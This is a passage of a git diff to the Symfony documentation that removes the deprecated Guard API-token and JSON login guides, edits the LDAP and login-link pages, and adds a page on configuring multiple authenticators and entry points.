-        # translations/security.en.yaml
-        'Invalid credentials.': 'The password you entered was invalid!'
-
-    .. code-block:: php
-
-        // translations/security.en.php
-        return [
-            'Invalid credentials.' => 'The password you entered was invalid!',
-        ];
-
-If the message isn't translated, make sure you've installed the ``translator``
-and try clearing your cache:
-
-.. code-block:: terminal
-
-    $ php bin/console cache:clear
-
-Redirecting to the Last Accessed Page with ``TargetPathTrait``
---------------------------------------------------------------
-
-The last request URI is stored in a session variable named
-``_security.<your providerKey>.target_path`` (e.g. ``_security.main.target_path``
-if the name of your firewall is ``main``). Most of the times you don't have to
-deal with this low level session variable. However, the
-:class:`Symfony\\Component\\Security\\Http\\Util\\TargetPathTrait` utility
-can be used to read (like in the example above) or set this value manually.
-
-When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
-the user will be redirected to this previously set target path.
-
-If you also want to apply this behavior to public pages, you can create an
-:doc:`event subscriber </event_dispatcher>` to set the target path manually
-whenever the user browses a page::
-
-    // src/EventSubscriber/RequestSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class RequestSubscriber implements EventSubscriberInterface
-    {
-        use TargetPathTrait;
-
-        public function onKernelRequest(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-            if (
-                !$event->isMainRequest()
-                || $request->isXmlHttpRequest()
-                || 'app_login' === $request->attributes->get('_route')
-            ) {
-                return;
-            }
-
-            $this->saveTargetPath($request->getSession(), 'main', $request->getUri());
-        }
-
-        public static function getSubscribedEvents(): array
-        {
-            return [
-                KernelEvents::REQUEST => ['onKernelRequest'],
-            ];
-        }
-    }
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 8b61ac97558..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,577 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-      // src/Entity/User.php
-      namespace App\Entity;
-
-      // ...
-
-      class User implements UserInterface
-      {
-          // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-          // the getter and setter methods
-      }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('your_db_provider')
-                ->entity('App\Entity\User')
-                ->property('apiToken')
-            ;
-
-            // ...
-        };
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider): ?UserInterface
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The user identifier in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByIdentifier($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user): bool
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null): Response
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe(): bool
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\TokenAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall
-                ->pattern('^/')
-                ->lazy(true)
-                ->anonymous();
-
-            $mainFirewall->logout();
-            $mainFirewall
-                ->guard()
-                    ->authenticators([TokenAuthenticator::class])
-            ;
-            // if you want, disable storing the user in the session
-            // $mainFirewall->stateless(true);
-            // ...
-        };
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request): bool
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-      // src/Security/MyIpAuthenticator.php
-      // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-      class MyIpAuthenticator
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function supports(Request $request): bool
-          {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-          }
-      }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
deleted file mode 100644
index 2806f6c9a97..00000000000
--- a/security/json_login_setup.rst
+++ /dev/null
@@ -1,213 +0,0 @@
-How to Build a JSON Authentication Endpoint
-===========================================
-
-In this entry, you'll build a JSON endpoint to log in your users. When the
-user logs in, you can load your users from anywhere - like the database.
-See :ref:`security-user-providers` for details.
-
-First, enable the JSON login under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path: /login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="/login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
-            $mainFirewall->lazy(true);
-            $mainFirewall->jsonLogin()
-                ->checkPath('/login')
-            ;
-        };
-
-.. tip::
-
-    The ``check_path`` can also be a route name (but cannot have mandatory
-    wildcards - e.g. ``/login/{foo}`` where ``foo`` has no default value).
-
-The next step is to configure a route in your app matching this path:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"POST"})
-             */
-            public function login(Request $request): Response
-            {
-                $user = $this->getUser();
-
-                return $this->json([
-                    // The getUserIdentifier() method was introduced in Symfony 5.3.
-                    // In previous versions it was called getUsername()
-                    'username' => $user->getUserIdentifier(),
-                    'roles' => $user->getRoles(),
-                ]);
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="POST"/>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['POST'])
-            ;
-        };
-
-Now, when you make a ``POST`` request, with the header ``Content-Type: application/json``,
-to the ``/login`` URL with the following JSON document as the body, the security
-system intercepts the request and initiates the authentication process:
-
-.. code-block:: json
-
-    {
-        "username": "dunglas",
-        "password": "MyPassword"
-    }
-
-Symfony takes care of authenticating the user with the submitted username and
-password or triggers an error in case the authentication process fails. If the
-authentication is successful, the controller defined earlier will be called.
-
-If the JSON document has a different structure, you can specify the path to
-access the ``username`` and ``password`` properties using the ``username_path``
-and ``password_path`` keys (they default respectively to ``username`` and
-``password``). For example, if the JSON document has the following structure:
-
-.. code-block:: json
-
-    {
-        "security": {
-            "credentials": {
-                "login": "dunglas",
-                "password": "MyPassword"
-            }
-        }
-    }
-
-The security configuration should be:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path:    login
-                        username_path: security.credentials.login
-                        password_path: security.credentials.password
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="login"
-                        username-path="security.credentials.login"
-                        password-path="security.credentials.password"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
-            $mainFirewall->lazy(true);
-            $mainFirewall->jsonLogin()
-                ->checkPath('/login')
-                ->usernamePath('security.credentials.login')
-                ->passwordPath('security.credentials.password')
-            ;
-        };
diff --git a/security/ldap.rst b/security/ldap.rst
index 7573f901369..ff768969771 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -8,7 +8,7 @@ Symfony provides different means to work with an LDAP server.
 
 The Security component offers:
 
-* The ``ldap`` :doc:`user provider </security/user_provider>`, using the
+* The ``ldap`` :doc:`user provider </security/user_providers>`, using the
   :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider`
   class. Like all other user providers, it can be used with any
   authentication provider.
@@ -130,6 +130,8 @@ An LDAP client can be configured using the built-in
                 ],
             ]);
 
+.. _security-ldap-user-provider:
+
 Fetching Users Using the LDAP User Provider
 -------------------------------------------
 
@@ -531,3 +533,4 @@ Configuration example for form login and query_string
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
+
diff --git a/security/login_link.rst b/security/login_link.rst
index 1e1641304a3..e5680ea5de3 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,10 +14,12 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
-:ref:`enable the authenticator system <security-enable-authenticator-manager>`
-in your configuration to use this feature.
+.. note::
+
+    Login links are only supported by Symfony when using the
+    :doc:`authenticator system </security>`. Before using this
+    authenticator, make sure you have enabled it with
+    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
 
 Using the Login Link Authenticator
 ----------------------------------
diff --git a/security/multiple_authenticators.rst b/security/multiple_authenticators.rst
new file mode 100644
index 00000000000..61566e5cd69
--- /dev/null
+++ b/security/multiple_authenticators.rst
@@ -0,0 +1,173 @@
+How to Use Multiple Authenticators
+==================================
+
+Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
+login and a social login). In these cases, it is now required to configure
+the *authentication entry point*.
+
+The entry point is used to generate a response when the user is not yet
+authenticated but tries to access a page that requires authentication. This
+can be used for instance to redirect the user to the login page.
+
+You can configure this using the ``entry_point`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            enable_authenticator_manager: true
+
+            # ...
+            firewalls:
+                main:
+                    # allow authentication using a form or a custom authenticator
+                    form_login: ~
+                    custom_authenticators:
+                        - App\Security\SocialConnectAuthenticator
+
+                    # configure the form authentication as the entry point for unauthenticated users
+                    entry_point: form_login
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config enable-authenticator-manager="true">
+                <!-- ... -->
+
+                <!-- entry-point: configure the form authentication as the entry
+                                  point for unauthenticated users -->
+                <firewall name="main"
+                    entry-point="form_login"
+                >
+                    <!-- allow authentication using a form or a custom authenticator -->
+                    <form-login/>
+                    <custom-authenticator>App\Security\SocialConnectAuthenticator</custom-authenticator>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+        use App\Security\SocialConnectAuthenticator;
+
+        return static function (SecurityConfig $security) {
+            $security->enableAuthenticatorManager(true);
+            // ....
+
+
+            // allow authentication using a form or HTTP basic
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->formLogin()
+                ->customAuthenticators([SocialConnectAuthenticator::class])
+
+                // configure the form authentication as the entry point for unauthenticated users
+                ->entryPoint('form_login');
+            ;
+        };
+
+.. note::
+
+    You can also create your own authentication entry point by creating a
+    class that implements
+    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
+    You can then set ``entry_point`` to the service id (e.g.
+    ``entry_point: App\Security\CustomEntryPoint``)
+
+Multiple Authenticators with Separate Entry Points
+--------------------------------------------------
+
+However, there are use cases where you have authenticators that protect
+different parts of your application. For example, you have a login form
+that protects the main website and API end-points used by external parties
+protected by API keys.
+
+As you can only configure one entry point per firewall, the solution is to
+split the configuration into two separate firewalls:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            firewalls:
+                api:
+                    pattern: ^/api/
+                    custom_authenticators:
+                        - App\Security\ApiTokenAuthenticator
+                main:
+                    lazy: true
+                    form_login: ~
+
+            access_control:
+                - { path: '^/login', roles: PUBLIC_ACCESS }
+                - { path: '^/api', roles: ROLE_API_USER }
+                - { path: '^/', roles: ROLE_USER }
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api" pattern="^/api/">
+                    <custom-authenticator>App\Security\ApiTokenAuthenticator</custom-authenticator>
+                </firewall>
+
+                <firewall name="main" anonymous="true" lazy="true">
+                    <form-login/>
+                </firewall>
+
+                <rule path="^/login" role="PUBLIC_ACCESS"/>
+                <rule path="^/api" role="ROLE_API_USER"/>
+                <rule path="^/" role="ROLE_USER"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\ApiTokenAuthenticator;
+        use App\Security\LoginFormAuthenticator;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $apiFirewall = $security->firewall('api');
+            $apiFirewall
+                ->pattern('^/api')
+                ->customAuthenticators([ApiTokenAuthenticator::class])
+            ;
+
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall
+                ->lazy(true)
+                ->formLogin();
+
+            $accessControl = $security->accessControl();
+            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
